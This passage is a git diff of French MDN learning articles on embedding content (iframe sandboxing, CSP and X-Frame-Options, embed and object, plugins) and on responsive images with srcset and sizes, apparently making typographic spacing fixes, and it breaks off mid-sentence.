`sandbox` -Pour minimiser la possibilité que des attaquants commettent des actions néfastes sur votre site Web, vous deviez donner au contenu intégré uniquement les permissions nécessaires pour qu'il fasse son travail. Bien sûr, cela est aussi valable pour votre propre contenu. Le conteneur de code, dans lequel il peut être utilisé de manière appropriée — ou pour des tests — sans pouvoir causer aucun dommage (accidentel ou malveillant) au reste de la base du code s'appelle un [sandbox](https://en.wikipedia.org/wiki/Sandbox_(computer_security)) (_bac à sable_). +Pour minimiser la possibilité que des attaquants commettent des actions néfastes sur votre site Web, vous deviez donner au contenu intégré uniquement les permissions nécessaires pour qu'il fasse son travail. Bien sûr, cela est aussi valable pour votre propre contenu. Le conteneur de code, dans lequel il peut être utilisé de manière appropriée — ou pour des tests — sans pouvoir causer aucun dommage (accidentel ou malveillant) au reste de la base du code s'appelle un [sandbox](https://en.wikipedia.org/wiki/Sandbox_(computer_security)) (_bac à sable_). -Un contenu en dehors du « bac à sable » peut faire beaucoup trop de choses (exécuter du JavaScript, soumettre des formulaires, des fenêtres « popup », etc.). Par défaut, vous devez imposer toute restriction disponible avec un attribut `sandbox` sans paramètres, comme montré dans notre exemple précédent. +Un contenu en dehors du « bac à sable » peut faire beaucoup trop de choses (exécuter du JavaScript, soumettre des formulaires, des fenêtres « popup », etc.). Par défaut, vous devez imposer toute restriction disponible avec un attribut `sandbox` sans paramètres, comme montré dans notre exemple précédent. -Si c'est absolument nécessaire, vous pouvez ajouter des permissions une à une (en tant que valeur de l'attribut `sandbox=""`) — voir l'entrée de référence {{htmlattrxref('sandbox','iframe')}} pour toutes les options disponibles. Il est important de noter que vous ne devez _jamais_ mettre à la fois les valeurs `allow-scripts` et `allow-same-origin` aux attributs de la « sandbox » — dans ce cas,, le contenu intégré pourrait contourner la politique de sécurité originelle qui empêche les sites d'exécuter des scripts et donc utiliser JavaScript pour désactiver complètement le « bac à sable ». +Si c'est absolument nécessaire, vous pouvez ajouter des permissions une à une (en tant que valeur de l'attribut `sandbox=""`) — voir l'entrée de référence {{htmlattrxref('sandbox','iframe')}} pour toutes les options disponibles. Il est important de noter que vous ne devez _jamais_ mettre à la fois les valeurs `allow-scripts` et `allow-same-origin` aux attributs de la « sandbox » — dans ce cas,, le contenu intégré pourrait contourner la politique de sécurité originelle qui empêche les sites d'exécuter des scripts et donc utiliser JavaScript pour désactiver complètement le « bac à sable ». -> **Note :** Mettre le code dans le « bac à sable » n'offre aucune protection si les attaquants peuvent tromper les gens pour qu'ils visitent directement du contenu malveillant (en dehors d'un `<iframe>`). S'il y a la moindre chance que certain contenu soit malveillant (par exemple, du contenu d'utilisateur inconnu), veuillez le servir vers votre site principal à partir d'un autre {{glossary("domaine")}}. +> **Note :** Mettre le code dans le « bac à sable » n'offre aucune protection si les attaquants peuvent tromper les gens pour qu'ils visitent directement du contenu malveillant (en dehors d'un `<iframe>`). S'il y a la moindre chance que certain contenu soit malveillant (par exemple, du contenu d'utilisateur inconnu), veuillez le servir vers votre site principal à partir d'un autre {{glossary("domaine")}}. -#### Configurer les directives CSP +#### Configurer les directives CSP -{{Glossary("CSP")}} est un acronyme pour « **[content security policy](/fr/docs/Web/Security/CSP)** » (politique de sécurité du contenu) ; les directives CSP fournissent un [ensemble d'en‑têtes HTTP](/fr/docs/Web/Security/CSP/CSP_policy_directives) (métadonnées adressées en même temps que les pages Web quand elles sont diffusées à partir d'un serveur web) conçues pour améliorer la sécurité des documents HTML. Quand elles sont destinées à sécuriser les `<iframe>`, vous pouvez _[configurer votre serveur pour qu'il adresse une en‑tête appropriée `X-Frame-Options`](/fr/docs/Web/HTTP/X-Frame-Options)._ Elle empêchera d'autres sites Web d'intégrer votre contenu dans leurs pages (ce qui pourrait permettre le {{interwiki('wikipedia','détournement de clic')}} ou accueillir d'autres attaques) ; c'est exactement ce que les développeurs de MDN ont fait, comme nous l'avons vu plus haut. +{{Glossary("CSP")}} est un acronyme pour « **[content security policy](/fr/docs/Web/Security/CSP)** » (politique de sécurité du contenu) ; les directives CSP fournissent un [ensemble d'en‑têtes HTTP](/fr/docs/Web/Security/CSP/CSP_policy_directives) (métadonnées adressées en même temps que les pages Web quand elles sont diffusées à partir d'un serveur web) conçues pour améliorer la sécurité des documents HTML. Quand elles sont destinées à sécuriser les `<iframe>`, vous pouvez _[configurer votre serveur pour qu'il adresse une en‑tête appropriée `X-Frame-Options`](/fr/docs/Web/HTTP/X-Frame-Options)._ Elle empêchera d'autres sites Web d'intégrer votre contenu dans leurs pages (ce qui pourrait permettre le {{interwiki('wikipedia','détournement de clic')}} ou accueillir d'autres attaques) ; c'est exactement ce que les développeurs de MDN ont fait, comme nous l'avons vu plus haut. > **Note :** Lisez le post de Frederik Braun sur [On the X-Frame-Options Security Header](https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/) pour plus d'informations sur le fond de ce sujet. Manifestement, une explication complète est hors des limites de cet article. ## Les éléments \<embed> et \<object> -Les éléments {{htmlelement("embed")}} et {{htmlelement("object")}} ont une fonction différente de {{htmlelement("iframe")}}} — ces éléments sont des outils d'intégration à caractère général pour importer plusieurs types de contenu externe ; cela comprend des technologies de greffons comme Java Applets ou Flash, PDF (affichable dans le navigateur avec un greffon PDF) et même du contenu comme des vidéos, du SVG ou des images ! +Les éléments {{htmlelement("embed")}} et {{htmlelement("object")}} ont une fonction différente de {{htmlelement("iframe")}}} — ces éléments sont des outils d'intégration à caractère général pour importer plusieurs types de contenu externe ; cela comprend des technologies de greffons comme Java Applets ou Flash, PDF (affichable dans le navigateur avec un greffon PDF) et même du contenu comme des vidéos, du SVG ou des images ! > **Note :** Un **greffon** est un logiciel qui permet d'avoir accès à des contenus que le navigateur n'est pas capable de lire de manière native. -Cependant, il est peu probable que vous utilisiez beaucoup ces éléments — les applets ne sont plus utilisés depuis des années, Flash n'est plus très apprécié pour un certain nombre de raisons (voir {{anch("Le cas « greffons »")}}}, ci-dessous), les PDF ont tendance à être plutôt liés qu'intégrés, et les autres contenus tels que les images et la vidéo disposent d'éléments d'intégration beaucoup plus faciles à manipuler. Les greffons et ces méthodes d'intégration sont assurément une technique traditionnelle héritée : nous les mentionnons principalement au cas où vous les rencontreriez dans certaines circonstances, comme des intranets ou des projets d'entreprise. +Cependant, il est peu probable que vous utilisiez beaucoup ces éléments — les applets ne sont plus utilisés depuis des années, Flash n'est plus très apprécié pour un certain nombre de raisons (voir {{anch("Le cas « greffons »")}}}, ci-dessous), les PDF ont tendance à être plutôt liés qu'intégrés, et les autres contenus tels que les images et la vidéo disposent d'éléments d'intégration beaucoup plus faciles à manipuler. Les greffons et ces méthodes d'intégration sont assurément une technique traditionnelle héritée : nous les mentionnons principalement au cas où vous les rencontreriez dans certaines circonstances, comme des intranets ou des projets d'entreprise. Si vous avez besoin d'intégrer du contenu de greffon, vous aurez besoin de ce minimum d'information : -| | {{htmlelement("embed")}} | {{htmlelement("object")}} | +| | {{htmlelement("embed")}} | {{htmlelement("object")}} | | ------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | | {{glossary("URL")}} du contenu à intégrer | {{htmlattrxref('src','embed')}} | {{htmlattrxref('data','object')}} | | {{glossary("type MIME", 'type de media')}} _précis_ du contenu intégré | {{htmlattrxref('type','embed')}} | {{htmlattrxref('type','object')}} | @@ -304,7 +304,7 @@ Si vous avez besoin d'intégrer du contenu de greffon, vous aurez besoin de ce m -> **Note :** `<object>` requiert un attribut `data`, un attribut `type`, ou les deux. Si vous utilisez les deux, vous devez aussi utiliser l'attribut {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox, au moment de la rédaction du présent document). `typemustmatch` empêche le fichier incorporé d'être exécuté avant que l'attribut `type` indique le type exact de média. `typemustmatch` peut donc conférer d'importants avantages sur le plan de la sécurité quand vous intégrez du contenu de diverses {{glossary("origin","origines")}} (il peut empêcher un attaquant d'exécuter n'importe quel script par l'intermédiaire du greffon). +> **Note :** `<object>` requiert un attribut `data`, un attribut `type`, ou les deux. Si vous utilisez les deux, vous devez aussi utiliser l'attribut {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox, au moment de la rédaction du présent document). `typemustmatch` empêche le fichier incorporé d'être exécuté avant que l'attribut `type` indique le type exact de média. `typemustmatch` peut donc conférer d'importants avantages sur le plan de la sécurité quand vous intégrez du contenu de diverses {{glossary("origin","origines")}} (il peut empêcher un attaquant d'exécuter n'importe quel script par l'intermédiaire du greffon). Voici un exemple utilisant l'élément {{htmlelement("embed")}} pour intégrer un film Flash (voyez ceci [en direct sur Github](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html) ainsi que [le code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html) également): @@ -318,7 +318,7 @@ Voici un exemple utilisant l'élément {{htmlelement("embed")}} pour intégrer u Plutôt horrible, n'est-ce pas ? Le HTML généré par l'outil Adobe Flash avait tendance à être encore pire, utilisant un élément \<objet> avec un élément \<embed> intégré pour couvrir toutes les bases (voir un exemple.) Flash a même été utilisé avec succès comme contenu de repli pour la vidéo HTML5, pendant un certain temps, mais cela est de plus en plus souvent considéré comme non nécessaire. -Regardons maintenant un exemple avec `<object>` ; il intègre un PDF dans une (voir [l'exemple en direct](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html) et le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html)) : +Regardons maintenant un exemple avec `<object>` ; il intègre un PDF dans une (voir [l'exemple en direct](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html) et le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html)) : ```html <object data="mypdf.pdf" type="application/pdf" @@ -329,7 +329,7 @@ Regardons maintenant un exemple avec `<object>` ; il intègre un PDF dans un Les PDF étaient un tremplin nécessaire entre le papier et le numérique, mais ils posent de nombreux [problèmes d'accessibilité](http://webaim.org/techniques/acrobat/acrobat) et peuvent être difficiles à lire sur de petits écrans. Ils ont encore tendance à être populaires dans certains cercles, mais il est préférable d'établir un lien vers eux pour qu'ils puissent être téléchargés ou lus sur une page séparée, plutôt que de les intégrer dans une page Web. -### Le cas « greffons » +### Le cas « greffons » Il était une fois des greffons qui s'étaient rendus indispensables sur le Web. Vous souvenez-vous de l'époque où vous deviez installer Adobe Flash Player juste pour regarder un film en ligne ? Et puis vous avez constamment reçu des alertes ennuyeuses pour la mise à jour de Flash Player et de votre environnement d'exécution Java. Depuis, les technologies Web sont devenues beaucoup plus robustes, et cette époque est révolue. Pour la plupart des applications, il est temps d'arrêter de diffuser du contenu dépendant de greffons et de commencer à tirer profit des technologies Web à la place. @@ -342,7 +342,7 @@ Alors, que faire ? Si vous avez besoin d'interactivité, HTML et {{glossary("Jav ## Résumé -Le problème de l'intégration de contenus tiers dans des documents web peut rapidement devenir très complexe : dans cet article nous avons donc essayé de le présenter de manière simple et classique — en espérant la méthode pertinente même si elle touche à certaines fonctionnalités parmi les plus avancées des techniques impliquées. Pour commencer, il est peu probable que vous utilisiez l'intégration pour autre chose que l'intégration de contenu tiers de cartes ou vidéos dans vos pages. L'expérience grandissant, il est vraisemblable que vous lui trouverez d'autres utilisations. +Le problème de l'intégration de contenus tiers dans des documents web peut rapidement devenir très complexe : dans cet article nous avons donc essayé de le présenter de manière simple et classique — en espérant la méthode pertinente même si elle touche à certaines fonctionnalités parmi les plus avancées des techniques impliquées. Pour commencer, il est peu probable que vous utilisiez l'intégration pour autre chose que l'intégration de contenu tiers de cartes ou vidéos dans vos pages. L'expérience grandissant, il est vraisemblable que vous lui trouverez d'autres utilisations. D'autres techniques impliquent l'intégration de contenu externe en plus de celles discutées ici. Nous en avons vu dans des articles précédents, comme {{htmlelement("video")}}}, {{htmlelement("audio")}}, et {{htmlelement("img")}}}, mais il y en a d'autres à découvrir, comme {{htmlelement("canvas")}} pour les graphiques 2D et 3D générés en JavaScript, et {{htmlelement("svg")}} pour intégrer des graphiques vectoriels. Nous verrons SVG dans le prochain article de ce module. diff --git a/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md b/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md index 42f69234e8..834e8ebf24 100644 --- a/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md @@ -11,7 +11,7 @@ Dans cet article, nous allons préciser le concept d'images adaptatives — imag <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez connaître <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" @@ -25,7 +25,7 @@ Dans cet article, nous allons préciser le concept d'images adaptatives — imag </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Apprendre comment utiliser des fonctionnalités comme <a href="/fr/docs/Web/HTML/Element/Img#attr-srcset" @@ -41,49 +41,49 @@ Dans cet article, nous allons préciser le concept d'images adaptatives — imag </tbody> </table> -## Pourquoi des images adaptatives ? +## Pourquoi des images adaptatives ? -Quel problème essayons-nous de résoudre avec des images adaptatives ? Examinons un scénario typique. Un site web classique a peut-être une image d'en-tête pour flatter le regard des visiteurs, plus peut-être quelques images de contenu plus loin. Imaginons que vous souhaitez que l'image d'en-tête couvre toute la largeur de l'en-tête et que l'image de contenu s'insère quelque part à l'intérieur de la colonne de contenu. Voici un exemple simple : +Quel problème essayons-nous de résoudre avec des images adaptatives ? Examinons un scénario typique. Un site web classique a peut-être une image d'en-tête pour flatter le regard des visiteurs, plus peut-être quelques images de contenu plus loin. Imaginons que vous souhaitez que l'image d'en-tête couvre toute la largeur de l'en-tête et que l'image de contenu s'insère quelque part à l'intérieur de la colonne de contenu. Voici un exemple simple :  -Cela fonctionne bien sur un appareil avec un grand écran, comme un portable ou un ordinateur de bureau (vous pouvez [voir cet exemple en direct](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html) et trouver son [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html) sur GitHub). Nous ne nous attarderons pas sur les CSS, excepté pour préciser ceci : +Cela fonctionne bien sur un appareil avec un grand écran, comme un portable ou un ordinateur de bureau (vous pouvez [voir cet exemple en direct](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html) et trouver son [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html) sur GitHub). Nous ne nous attarderons pas sur les CSS, excepté pour préciser ceci : -- Le contenu du corps a été fixé à une largeur maximale de 1200 pixels — dans les fenêtres de largeur supérieure, il s'affiche sur 1200 pixels et se centre dans l'espace disponible. Dans celles de largeur inférieure, le contenu occupe 100 % de la largeur de la vue. +- Le contenu du corps a été fixé à une largeur maximale de 1200 pixels — dans les fenêtres de largeur supérieure, il s'affiche sur 1200 pixels et se centre dans l'espace disponible. Dans celles de largeur inférieure, le contenu occupe 100 % de la largeur de la vue. - L'image d'en-tête est définie de sorte que son milieu soit toujours au centre de l'en-tête, quelle que soit sa largeur. Ainsi, si le site est regardé sur un écran moins large, le détail important au centre de l'image (les gens) peut toujours être vu, et l'excès est perdu de part et d'autre. L'image a une hauteur de 200 pixels. - Les images de contenu sont définies de sorte que si l'élément corps devient plus petit que l'image, les images se contractent pour rester toujours à l'intérieur du corps sans jamais déborder. -Tout cela c'est très bien, mais le problème apparaît lorsque vous commencez à regarder le site sur un écran étroit — l'en-tête semble correct, mais commence à prendre beaucoup de hauteur pour un mobile, et la première image de contenu d'autre part n'est pas terrible — à cette taille, vous avez du mal à distinguer les personnes ! +Tout cela c'est très bien, mais le problème apparaît lorsque vous commencez à regarder le site sur un écran étroit — l'en-tête semble correct, mais commence à prendre beaucoup de hauteur pour un mobile, et la première image de contenu d'autre part n'est pas terrible — à cette taille, vous avez du mal à distinguer les personnes ! - + Quand le site est vu sur un écran étroit, il serait préférable de montrer une version recadrée de l'image sur les parties importantes de la vue au lieu de faire voir des bâtiments, et peut-être quelque chose entre les deux pour un écran de largeur moyenne comme une tablette — ce problème relève de **décisions de nature artistique**. -De plus, il n'est pas nécessaire d'intégrer des images aussi volumineuses sur une page destinée à être affichée sur l'écran minuscule d'un mobile ; c'est le problème des **changements de résolution** — une image matricielle est définie sur un certain nombre de pixels de large et un certain nombre de pixels de haut ; comme on a pu le voir à propos des [graphiques vectoriels](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web), une image matricielle paraît pixelisée si elle est affichée plus grande que sa taille d'origine (alors qu'un graphique vectoriel ne l'est pas). +De plus, il n'est pas nécessaire d'intégrer des images aussi volumineuses sur une page destinée à être affichée sur l'écran minuscule d'un mobile ; c'est le problème des **changements de résolution** — une image matricielle est définie sur un certain nombre de pixels de large et un certain nombre de pixels de haut ; comme on a pu le voir à propos des [graphiques vectoriels](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web), une image matricielle paraît pixelisée si elle est affichée plus grande que sa taille d'origine (alors qu'un graphique vectoriel ne l'est pas). Et si elle est montrée significativement plus petite que sa taille d'origine, c'est un gaspillage de bande passante — les personnes utilisant des navigateurs mobiles en particulier ne veulent pas gaspiller leur bande passante en téléchargeant une grande image destinée à des ordinateurs de bureau, alors qu'une petite image ferait l'affaire pour leur appareil. La solution idéale serait d'avoir plusieurs résolutions disponibles et de servir des tailles appropriées selon le type d'appareil accédant au site web. Pour compliquer encore plus les choses, certains appareils ont des écrans à haute résolution, écrans qui ont besoin d'images plus grandes que ce à quoi on pourrait s'attendre pour s'afficher correctement. Il s'agit pratiquement du même problème, mais dans un contexte légèrement différent. -Vous pouvez penser que des images vectorielles sont la solution à ces problèmes : elles le sont dans une certaine mesure — elles sont à la fois de petite taille et se mettent à l'échelle. Utilisez‑les partout où c'est possible. Mais elles ne conviennent pas à tous les types d'images — parfaites pour des graphiques simples, des motifs, des éléments d'interface, etc., il devient très compliqué de créer une image vectorielle avec le genre de détails que l'on trouve dans une photo, par exemple. Les formats matriciels comme JPEG sont plus adaptés au type d'images affiché dans l'exemple ci-dessus. +Vous pouvez penser que des images vectorielles sont la solution à ces problèmes : elles le sont dans une certaine mesure — elles sont à la fois de petite taille et se mettent à l'échelle. Utilisez‑les partout où c'est possible. Mais elles ne conviennent pas à tous les types d'images — parfaites pour des graphiques simples, des motifs, des éléments d'interface, etc., il devient très compliqué de créer une image vectorielle avec le genre de détails que l'on trouve dans une photo, par exemple. Les formats matriciels comme JPEG sont plus adaptés au type d'images affiché dans l'exemple ci-dessus. -Ce type de problème n'existait pas quand le web a vu le jour, du début jusqu'au milieu des années 90 — à l'époque, les seuls appareils permettant de naviguer sur le web étaient les ordinateurs de bureau et les portables, de sorte que les ingénieurs et rédacteurs de spécifications pour les navigateurs ne pouvaient même pas imaginer l'existence de ces problèmes. Pour résoudre les problèmes indiqués ci-dessus, les techniques d'images adaptatives sont de mise en œuvre récente : elles offrent au navigateur plusieurs fichiers d'images, soit montrant tous la même chose mais avec un nombre de pixels différent (commutation de résolution), soit des images différentes selon l'espace alloué (décisions artistiques). +Ce type de problème n'existait pas quand le web a vu le jour, du début jusqu'au milieu des années 90 — à l'époque, les seuls appareils permettant de naviguer sur le web étaient les ordinateurs de bureau et les portables, de sorte que les ingénieurs et rédacteurs de spécifications pour les navigateurs ne pouvaient même pas imaginer l'existence de ces problèmes. Pour résoudre les problèmes indiqués ci-dessus, les techniques d'images adaptatives sont de mise en œuvre récente : elles offrent au navigateur plusieurs fichiers d'images, soit montrant tous la même chose mais avec un nombre de pixels différent (commutation de résolution), soit des images différentes selon l'espace alloué (décisions artistiques). > **Note :** Toutes les nouvelles fonctionnalités présentées dans cet article — [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset)/[`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes)/[`<picture>`](/fr/docs/Web/HTML/Element/picture) — sont toutes prises en charge dans les versions de navigateurs récemment publiées pour les ordinateurs de bureau et pour les mobiles (y compris le navigateur Edge de Microsoft, même si ce n'est pas le cas d'Internet Explorer). -## Comment créer des images adaptatives ? +## Comment créer des images adaptatives ? -Dans ce paragraphe, nous allons examiner les deux problèmes illustrés ci-dessus et montrer comment les résoudre à l'aide des fonctions d'images adaptatives du HTML. Notez que nous nous focaliserons sur l'élément [`<img>`](/fr/docs/Web/HTML/Element/Img) du HTML dans cette section, comme vous avez pu le voir dans la zone de contenu de l'exemple ci-dessus — l'image d'en-tête du site n'est là que pour la décoration, et donc implémenté en utilisant des images de fond du CSS. CSS a [sans doute de meilleurs outils](http://blog.cloudfour.com/responsive-images-101-part-8-css-images/) que le HTML pour la conception adaptative : nous en parlerons dans le module CSS à venir. +Dans ce paragraphe, nous allons examiner les deux problèmes illustrés ci-dessus et montrer comment les résoudre à l'aide des fonctions d'images adaptatives du HTML. Notez que nous nous focaliserons sur l'élément [`<img>`](/fr/docs/Web/HTML/Element/Img) du HTML dans cette section, comme vous avez pu le voir dans la zone de contenu de l'exemple ci-dessus — l'image d'en-tête du site n'est là que pour la décoration, et donc implémenté en utilisant des images de fond du CSS. CSS a [sans doute de meilleurs outils](http://blog.cloudfour.com/responsive-images-101-part-8-css-images/) que le HTML pour la conception adaptative : nous en parlerons dans le module CSS à venir. -### Commutations de résolution : tailles différentes +### Commutations de résolution : tailles différentes -Alors, quel est le problème à résoudre à l'aide des commutations de résolution ? Nous voulons afficher un contenu d'image identique, juste plus grand ou plus petit selon l'appareil — c'est la situation de la deuxième image du contenu de notre exemple précédent. L'élément standard [`<img>`](/fr/docs/Web/HTML/Element/Img) vous permet classiquement de ne faire pointer le navigateur que vers un seul fichier source : +Alors, quel est le problème à résoudre à l'aide des commutations de résolution ? Nous voulons afficher un contenu d'image identique, juste plus grand ou plus petit selon l'appareil — c'est la situation de la deuxième image du contenu de notre exemple précédent. L'élément standard [`<img>`](/fr/docs/Web/HTML/Element/Img) vous permet classiquement de ne faire pointer le navigateur que vers un seul fichier source : ```html <img src="elva-fairy-800w.jpg" alt="Elva habillée en fée"> ``` -Mais il est possible d'utiliser deux nouveaux attributs — [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset) et [`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes) — permettant de fournir plusieurs images source avec des indications pour permettre au navigateur de faire le bon choix. Vous trouverez un exemple de cela dans le fichier [responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) sur GitHub (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html)) : +Mais il est possible d'utiliser deux nouveaux attributs — [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset) et [`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes) — permettant de fournir plusieurs images source avec des indications pour permettre au navigateur de faire le bon choix. Vous trouverez un exemple de cela dans le fichier [responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) sur GitHub (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html)) : ```html <img srcset="elva-fairy-480w.jpg 480w, @@ -96,7 +96,7 @@ Mais il est possible d'utiliser deux nouveaux attributs — [`srcset`](/fr/docs/ Les attributs `srcset` et `sizes` paraissent complexes, mais ils ne sont pas difficiles à comprendre si vous les formatez comme indiqué ci-dessus, avec une partie différente de la valeur de l'attribut sur chaque ligne. Chaque valeur contient une liste séparée par des virgules et chaque partie de la liste est composée de trois sous-parties. Passons maintenant en revue leur contenu. -**`srcset`** définit l'ensemble des images offertes au choix du navigateur, et la taille de chaque image. Avant chaque virgule, nous avons écrit : +**`srcset`** définit l'ensemble des images offertes au choix du navigateur, et la taille de chaque image. Avant chaque virgule, nous avons écrit : 1. un nom de **fichier image** (`elva-fairy-480w.jpg`), 2. un espace, @@ -110,22 +110,22 @@ Les attributs `srcset` et `sizes` paraissent complexes, mais ils ne sont pas dif pour faire apparaître l'écran des infos). -**`sizes`** définit un ensemble de conditions pour le média (par ex. des largeurs d'écran) et indique quelle taille d'image serait la plus adaptée si certaines conditions sont satisfaites — ce sont les conditions dont nous avons parlé plus haut. Dans ce cas, nous écrivons avant chaque virgule : +**`sizes`** définit un ensemble de conditions pour le média (par ex. des largeurs d'écran) et indique quelle taille d'image serait la plus adaptée si certaines conditions sont satisfaites — ce sont les conditions dont nous avons parlé plus haut. Dans ce cas, nous écrivons avant chaque virgule : -1. une **condition pour le média** (`(max-width:480px)`) — vous pourrez en savoir plus à ce propos dans l'[article sur les CSS](/fr/docs/Learn/CSS), mais pour le moment disons simplement que cette condition pour le média décrit un état possible de l'écran. Dans notre cas, nous disons « si la largeur de fenêtre est de 480 pixels ou moins », +1. une **condition pour le média** (`(max-width:480px)`) — vous pourrez en savoir plus à ce propos dans l'[article sur les CSS](/fr/docs/Learn/CSS), mais pour le moment disons simplement que cette condition pour le média décrit un état possible de l'écran. Dans notre cas, nous disons « si la largeur de fenêtre est de 480 pixels ou moins », 2. une espace, -3. **la largeur de la place** occupée par l'image si la condition pour le média est vraie (`440px`). +3. **la largeur de la place** occupée par l'image si la condition pour le média est vraie (`440px`). -> **Note :** pour définir une largeur d'emplacement, vous pouvez indiquer une taille absolue (`px`, `em`) ou relative au viewport (`vw`), mais pas en pourcentage. Vous avez peut‑être noté que la dernière largeur d'emplacement ne comporte pas d'indication pour le média — c'est la valeur par défaut retenue quand aucune des conditions n'est vraie). Le navigateur ignore tout ce qui suit dès la première condition concordante ; donc soyez attentif à l'ordre de ces conditions pour le média. +> **Note :** pour définir une largeur d'emplacement, vous pouvez indiquer une taille absolue (`px`, `em`) ou relative au viewport (`vw`), mais pas en pourcentage. Vous avez peut‑être noté que la dernière largeur d'emplacement ne comporte pas d'indication pour le média — c'est la valeur par défaut retenue quand aucune des conditions n'est vraie). Le navigateur ignore tout ce qui suit dès la première condition concordante ; donc soyez attentif à l'ordre de ces conditions pour le média. -Ainsi, une fois ces attributs en place, le navigateur va : +Ainsi, une fois ces attributs en place, le navigateur va : 1. noter la largeur du périphérique, 2. vérifier quelle est la première condition vraie pour le média dans la liste des tailles, 3. noter la largeur d'emplacement demandée par le média, 4. charger l'image référencée dans la liste `srcset` qui est la plus proche de la taille choisie. -Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeur de vue de 480 px charge la page, la condition pour le média `(max-width: 480px)` sera vraie, donc une largeur d'emplacement de 440px sera choisie, donc le fichier `elva-fairy-480w.jpg` sera chargé, car sa largeur intrinsèque (`480w`) est celle qui est la plus proche de `440px`. L'image 800 px a une taille de 128 Ko sur disque alors que la version 480 px n'occupe que 63 Ko — une économie de 65Ko. Imaginez maintenant qu'il s'agisse d'une page avec beaucoup d'images. L'utilisation de cette technique peut permettre aux personnes naviguant sur mobile d'économiser beaucoup de bande passante. +Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeur de vue de 480 px charge la page, la condition pour le média `(max-width: 480px)` sera vraie, donc une largeur d'emplacement de 440px sera choisie, donc le fichier `elva-fairy-480w.jpg` sera chargé, car sa largeur intrinsèque (`480w`) est celle qui est la plus proche de `440px`. L'image 800 px a une taille de 128 Ko sur disque alors que la version 480 px n'occupe que 63 Ko — une économie de 65Ko. Imaginez maintenant qu'il s'agisse d'une page avec beaucoup d'images. L'utilisation de cette technique peut permettre aux personnes naviguant sur mobile d'économiser beaucoup de bande passante. > **Note :** lorsque vous testez cela avec un navigateur de bureau, si ce dernier échoue à charger l'image la plus étroite alors que vous avez réduit la largeur de la fenêtre au maximum, regardez la taille du <i lang="en">viewport</i> (dont vous pouvez avoir une approximation via l'instruction `document.querySelector("html").clientWidth` dans la console JavaScript). Selon les navigateurs, il existe différentes tailles minimales au-delà desquelles on ne pourra pas plus réduire la fenêtre (tailles minimales qui pourraient être plus larges qu'on ne le pense). Lorsque vous testez avec un navigateur mobile, vous pouvez utiliser les outils comme la page `about:debugging` de Firefox pour inspecter la page chargée sur le mobile à l'aide des outils de développement pour navigateur de bureau. > @@ -133,11 +133,11 @@ Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeu Les navigateurs les plus anciens qui ne prennent pas en charge ces fonctionnalités les ignorent; poursuivent et chargent normalement l'image référencée dans l'attribut [`src`](/fr/docs/Web/HTML/Element/Img#attr-src). -> **Note :** dans l'élément [`<head>`](/fr/docs/Web/HTML/Element/head) du document, vous trouvez la ligne `<meta name="viewport" content="width=device-width">` : ceci force les navigateurs mobiles de prendre la largeur réelle de leur vue pour charger des pages web (certains navigateurs mobiles mentent à propos de la largeur de leur vue, et à la place chargent des pages pour une vue plus large, puis rétrécissent la page chargée, ce qui n'est pas vraiment une aide pour les pages adaptatives ou pour la conception). +> **Note :** dans l'élément [`<head>`](/fr/docs/Web/HTML/Element/head) du document, vous trouvez la ligne `<meta name="viewport" content="width=device-width">` : ceci force les navigateurs mobiles de prendre la largeur réelle de leur vue pour charger des pages web (certains navigateurs mobiles mentent à propos de la largeur de leur vue, et à la place chargent des pages pour une vue plus large, puis rétrécissent la page chargée, ce qui n'est pas vraiment une aide pour les pages adaptatives ou pour la conception). -### Commutation de résolution : même taille, résolutions différentes +### Commutation de résolution : même taille, résolutions différentes -Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que tout le monde voit l'image avec la même taille effective sur l'écran, vous pouvez permettre au navigateur de choisir une image de résolution appropriée en utilisant `srcset` avec `x-descriptors` et sans `sizes` — une syntaxe un peu plus facile en quelque sorte ! Vous pouvez trouver un exemple de ce à 